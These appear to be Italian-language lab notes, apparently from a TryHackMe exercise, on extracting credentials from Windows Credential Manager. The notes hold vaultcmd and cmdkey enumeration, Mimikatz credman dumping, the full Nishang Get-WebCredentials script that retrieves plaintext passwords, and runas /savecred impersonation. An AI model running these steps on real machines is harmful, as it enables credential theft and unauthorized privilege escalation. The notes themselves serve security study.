tags: Dumping_WCM Windows_Privilage_Escalation Windows Estrazione_Hash_WCM
Credential Manager è una funzionalità di Windows che memorizza le informazioni sensibili relative all’accesso a siti Web, applicazioni e reti. Contiene credenziali di accesso quali nomi utente, password e indirizzi Internet. Esistono quattro categorie di credenziali:
-
Le credenziali Web contengono i dettagli di autenticazione memorizzati nei browser Internet o in altre applicazioni.
-
Le credenziali Windows contengono dettagli di autenticazione Windows, come NTLM o Kerberos.
-
Le credenziali generiche contengono dettagli di autenticazione di base, come nomi utente e password in chiaro.
-
Credenziali basate su certificati: si tratta di dettagli di autenticazione basati su certificati.
Per listare i vari Volt presenti possiamo usare il seguente comando:
C:\Users\Administrator>vaultcmd /list
Currently loaded vaults:
Vault: Web Credentials
Vault Guid:4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Location: C:\Users\Administrator\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Vault: Windows Credentials
Vault Guid:77BC582B-F0A6-4E15-4E80-61736B6F3B29
Location: C:\Users\Administrator\AppData\Local\Microsoft\Vault
Per vedere se contengono credenziali possiamo utlizzare il seguente comando:
C:\Users\Administrator>VaultCmd /listproperties:"Web Credentials"
Vault Properties: Web Credentials
Location: C:\Users\Administrator\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Number of credentials: 1
Current protection method: DPAPI
Per ottenere ancora più informazioni possiamo utilizzare:
C:\Users\Administrator>VaultCmd /listcreds:"Web Credentials"
Credentials in vault: Web Credentials
Credential schema: Windows Web Password Credential
Resource: internal-app.thm.red
Identity: THMUser Saved By: MSEdge
Hidden: No
Roaming: Yes
Estrazione credenziali
Per estrarre le credenziali presenti possiamo utilizzare diversi metodi.
Mimikatz
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::credman
Get-WebCredentials.ps1
Questo script ti permette di dumpare le credenziali del WCM:
function Get-WebCredentials
{
<#
.SYNOPSIS
Nishang script to retrieve web credentials from Windows vault (requires PowerShell v3 and above)
.DESCRIPTION
This script can be used to retreive web credentiaks stored in Windows Valut from Windows 8 onwards. The script
also needs PowerShell v3 onwards and must be run from an elevated shell.
.EXAMPLE
PS > Get-WebCredentials
.LINK
https://github.com/samratashok/nishang
#>
[CmdletBinding()] Param ()
#http://stackoverflow.com/questions/9221245/how-do-i-store-and-retrieve-credentials-from-the-windows-vault-credential-manage
$ClassHolder = [Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$VaultObj = new-object Windows.Security.Credentials.PasswordVault
$VaultObj.RetrieveAll() | foreach { $_.RetrievePassword(); $_ }
}La pagina da cui è preso la puoi trovare a questo indirizzo.
RunAs
Un metodo alternativo è quello di utilizzare il comando nativo runas.
Per prima cosa listiamo le credenziali presenti con il comando:
PS C:\Users\Administrator> cmdkey /list
Currently stored credentials:
Target: WindowsLive:target=virtualapp/didlogical
Type: Generic
User: 02qlpqmzrgmmbamm
Local machine persistence
Target: LegacyGeneric:target=10.10.237.226
Type: Generic
User: thm
Target: Domain:interactive=thm.red\thm-local
Type: Domain Password
User: thm.red\thm-local
Ora ci impersonifichiamo come thm-red\thm-local nel seguente modo:
C:\Users\thm>runas /savecred /user:THM.red\thm-local cmd.exe Attempting to start
cmd.exe as user "THM.red\thm-local" ...